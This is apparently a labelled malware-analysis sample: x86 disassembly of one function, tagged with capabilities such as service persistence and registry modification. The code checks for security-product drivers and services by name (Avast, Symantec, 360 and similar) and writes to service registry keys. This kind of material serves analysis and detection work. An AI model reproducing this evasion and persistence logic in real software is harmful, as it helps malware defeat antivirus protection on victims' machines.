Function at 0x10011f40
Capabilities:
Check os version
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x10011f40
sub esp, 0x2bc
mov eax, dword [0x1004b3c8]
xor eax, esp
mov dword [esp + 0x2b8], eax
push ebx
mov ebx, dword [esp + 0x2c4]
push ebp
push esi
push edi
push ebx
push str..CtrlSM
push str._s_s
lea eax, [esp + 0x1d0]
push 0x104
push eax
xor esi, esi
call fcn.100164ee
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x14
lea eax, [esp + 0x1c4]
push esi
push 0x40000000
push 3
push esi
push esi
push 0xc0000000
push eax
call ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test byte [0x1004cdc4], 4
mov ecx, eax
mov dword [esp + 0x14], ecx
jne 0x10012003
cmp edi, 0xffffffff
jne 0x1001200c
inc esi
mov eax, esi
dec eax
jne 0x100121d1
push eax
push ebx
call fcn.10012af0
add esp, 8
lea eax, [esp + 0x1c4]
push 0
push 0x40000000
push 3
push 0
push 0
push 0xc0000000
push eax
call ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test byte [0x1004cdc4], 4
mov ecx, eax
mov dword [esp + 0x14], ecx
je 0x10011fb7
cmp edi, 0xffffffff
je 0x100121d1
push 0x9c
lea eax, [esp + 0x28]
push 0
push eax
call fcn.10014ac0
add esp, 0xc
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp edi, 0xffffffff
je 0x10012085
push 0
lea eax, [esp + 0x1c]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x22019c
push edi
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10012085
cmp dword [esp + 0x18], 0
jbe 0x10012085
push 0x1003efd0
call fcn.10012a60
add esp, 4
test al, al
je 0x100121cd
push 1
jmp 0x100121c4
mov eax, dword [esp + 0x28]
cmp eax, 6
jb 0x1001209f
jne 0x100121cd
cmp dword [esp + 0x2c], 1
ja 0x100121cd
push str.nisdrv
push 0x1003eed8
lea eax, [esp + 0xc8]
push 0x104
push eax
mov dword [esp + 0x28], 0
call fcn.100164ee
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 1
push 0
lea eax, [esp + 0xcc]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100121f3
push dword [esp + 0x10]
call ebp
push ebx
push str.SYSTEMCurrentControlSetServices_s
lea eax, [esp + 0xc8]
push 0x104
push eax
call fcn.100164ee
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 3
push 0
lea eax, [esp + 0xcc]
push eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x80000002
call eax
test eax, eax
jne 0x1001217d
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
push 0
push 0x1003f024
push dword [esp + 0x24]
mov dword [esp + 0x34], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 0x10]
mov esi, eax
call ebp
test esi, esi
sete al
test al, al
je 0x1001217d
cmp dword [esp + 0x18], 0
jne 0x1001217d
push 0
push ebx
call fcn.100124f0
add esp, 8
push str.aswstm
push 0x1003eed8
lea eax, [esp + 0xc8]
push 0x104
push eax
call fcn.100164ee
add esp, 0x10
lea eax, [esp + 0x1c]
push eax
push 1
push 0
lea eax, [esp + 0xcc]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100121cd
push dword [esp + 0x1c]
call ebp
push 0
push ebx
call fcn.10012ce0
add esp, 8
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0x2c8]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10015717
add esp, 0x2bc
ret
push str.360netmon
call fcn.10012a60
add esp, 4
test al, al
jne 0x100120f6
push str.symnets
call fcn.10012a60
add esp, 4
test al, al
jne 0x100120f6
push ebx
push str.SYSTEMCurrentControlSetServices_s
lea eax, [esp + 0xc8]
push 0x104
push eax
call fcn.100164ee
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 3
push 0
lea eax, [esp + 0xcc]
push eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x80000002
call eax
test eax, eax
jne 0x1001217d
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push 0
push 0x1003f028
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call ebp
jmp 0x1001217d